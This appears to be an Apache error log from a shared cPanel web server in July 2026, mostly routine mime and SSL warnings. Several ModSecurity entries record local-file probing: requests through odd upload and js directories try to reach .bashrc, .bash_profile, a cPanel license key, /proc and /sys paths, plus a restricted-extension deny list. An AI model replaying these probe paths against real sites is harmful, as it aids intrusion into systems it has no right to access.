[Fri Jul 17 08:06:18.087029 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.087069 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.103503 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.119443 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.253472 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.415202 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.575897 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.596857 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.719742 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.826049 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.869714 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:18.966975 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:19.057315 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:19.146878 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:19.331032 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:19.422167 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:19.512576 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: Warning. Matched phrase ".bashrc" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .bashrc found within REQUEST_FILENAME: /uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bashrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bashrc"] [unique_id "almVIzRCJXF37-WnVv0eHQAAABI"]
[Fri Jul 17 08:06:19.512911 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bashrc"] [unique_id "almVIzRCJXF37-WnVv0eHQAAABI"]
[Fri Jul 17 08:06:19.513461 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bashrc"] [unique_id "almVIzRCJXF37-WnVv0eHQAAABI"]
[Fri Jul 17 08:06:19.605182 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:19.704816 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:19.807451 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:56188] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:20.122281 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:20.262588 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: Warning. Matched phrase ".bash_profile" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .bash_profile found within REQUEST_FILENAME: /uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_profile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_profile"] [unique_id "almVJFxP5-SsqbGuGB2gawAAAAA"]
[Fri Jul 17 08:06:20.262914 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_profile"] [unique_id "almVJFxP5-SsqbGuGB2gawAAAAA"]
[Fri Jul 17 08:06:20.263448 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/usr/share/doc/bash/file:~/.bash_profile"] [unique_id "almVJFxP5-SsqbGuGB2gawAAAAA"]
[Fri Jul 17 08:06:20.355113 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:20.446326 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:20.537953 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:20.724912 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:20.841548 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:21.077296 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:21.118541 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:21.183706 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:21.272163 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:21.365333 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:21.459069 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:21.549469 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/cpanel/csp/license2.key"] [unique_id "almVJXRlmrtCoY_COpcd9wAAAAg"]
[Fri Jul 17 08:06:21.549987 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/cpanel/csp/license2.key"] [unique_id "almVJXRlmrtCoY_COpcd9wAAAAg"]
[Fri Jul 17 08:06:21.550368 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/opt/cpanel/csp/license2.key"] [unique_id "almVJXRlmrtCoY_COpcd9wAAAAg"]
[Fri Jul 17 08:06:21.743160 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:22.375835 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:22.497986 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:22.561004 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:22.673247 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:23.030327 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pnp/drivers/system/bind
[Fri Jul 17 08:06:23.162627 2026] [core:error] [pid 1993584:tid 1993584] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/etc/imunify360/rules/disabled-rules
[Fri Jul 17 08:06:23.218219 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:23.486026 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:23.575587 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:23.722289 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:23.723969 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:23.784871 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:24.227931 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:24.394115 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:25.222046 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:25.494442 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event0/subsystem/input4/id/version"] [unique_id "almVKRAi3pC6yjXGNq15FQAAAAU"]
[Fri Jul 17 08:06:25.494476 2026] [security2:error] [pid 1993668:tid 1993668] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/event0/subsystem/input4/id/version"] [unique_id "almVKRAi3pC6yjXGNq15FQAAAAU"]
[Fri Jul 17 08:06:25.915822 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:52848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:26.692179 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input4/mouse0/subsystem/event0/device/phys"] [unique_id "almVKoha5y5fYnQ1qRrrZQAAAAE"]
[Fri Jul 17 08:06:26.692224 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input4/mouse0/subsystem/event0/device/phys"] [unique_id "almVKoha5y5fYnQ1qRrrZQAAAAE"]
[Fri Jul 17 08:06:27.224633 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.391325 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.411621 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.411971 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.413366 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.646188 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.789930 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.809116 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.828305 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:27.886211 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:28.042590 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:28.381737 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:28.451504 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:28.626275 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:28.694722 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:28.799987 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:52984] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:29.704752 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:29.792193 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:29.885384 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:30.791831 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:53074] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:31.003306 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.194038 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.205810 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.226634 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:53096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:31.226791 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory127/node0/memory137/node0/memory20/node0/memory80/state"] [unique_id "almVL4l9vhFBGA6D8l9yJwAAAAw"]
[Fri Jul 17 08:06:31.226815 2026] [security2:error] [pid 1993572:tid 1993572] [client 57.141.18.57:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory127/node0/memory137/node0/memory20/node0/memory80/state"] [unique_id "almVL4l9vhFBGA6D8l9yJwAAAAw"]
[Fri Jul 17 08:06:31.249214 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.313162 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.490727 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.709479 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.925400 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:31.981992 2026] [security2:error] [pid 1993715:tid 1993715] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-global": Permission denied [hostname "ayuzonelanka.com"] [uri "/wp-admin/index.php"] [unique_id "almVLnRlmrtCoY_COpceBAAAAAg"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:06:31.982021 2026] [security2:error] [pid 1993715:tid 1993715] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-ip": Permission denied [hostname "ayuzonelanka.com"] [uri "/wp-admin/index.php"] [unique_id "almVLnRlmrtCoY_COpceBAAAAAg"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:06:32.032010 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:32.113003 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:32.193899 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:32.249499 2026] [security2:error] [pid 1993619:tid 1993619] [client 85.208.96.198:0] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /daph/daph/vendor/laravel/framework/src/illuminate/bus/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ksoft.web.lk"] [uri "/daph/daph/vendor/laravel/framework/src/Illuminate/Bus/composer.json"] [unique_id "almVMI1dLClkUfK_dfHc2gAAAAI"]
[Fri Jul 17 08:06:32.249781 2026] [security2:error] [pid 1993619:tid 1993619] [client 85.208.96.198:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/daph/daph/vendor/laravel/framework/src/Illuminate/Bus/composer.json"] [unique_id "almVMI1dLClkUfK_dfHc2gAAAAI"]
[Fri Jul 17 08:06:32.257279 2026] [security2:error] [pid 1993619:tid 1993619] [client 85.208.96.198:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/daph/daph/vendor/laravel/framework/src/Illuminate/Bus/composer.json"] [unique_id "almVMI1dLClkUfK_dfHc2gAAAAI"]
[Fri Jul 17 08:06:32.391020 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:32.591798 2026] [ssl:error] [pid 1993668:tid 1993668] (5)Input/output error: [client 66.85.158.91:34314] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:33.411299 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVMY1dLClkUfK_dfHc2wAAAAI"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:06:33.411333 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVMY1dLClkUfK_dfHc2wAAAAI"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:06:33.587468 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:33.927456 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:34384] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:06:34.477563 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:34.658952 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:34.659033 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:34.659163 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:34.663193 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:34.683359 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 47.82.54.5:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/rom
[Fri Jul 17 08:06:34.724438 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVMjiSeFVxYLkcq6IZWgAAAAc"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:06:34.724470 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVMjiSeFVxYLkcq6IZWgAAAAc"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:06:34.808360 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:06:34.823495 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:34424] AH02013: coalesce failed to read from data bucket
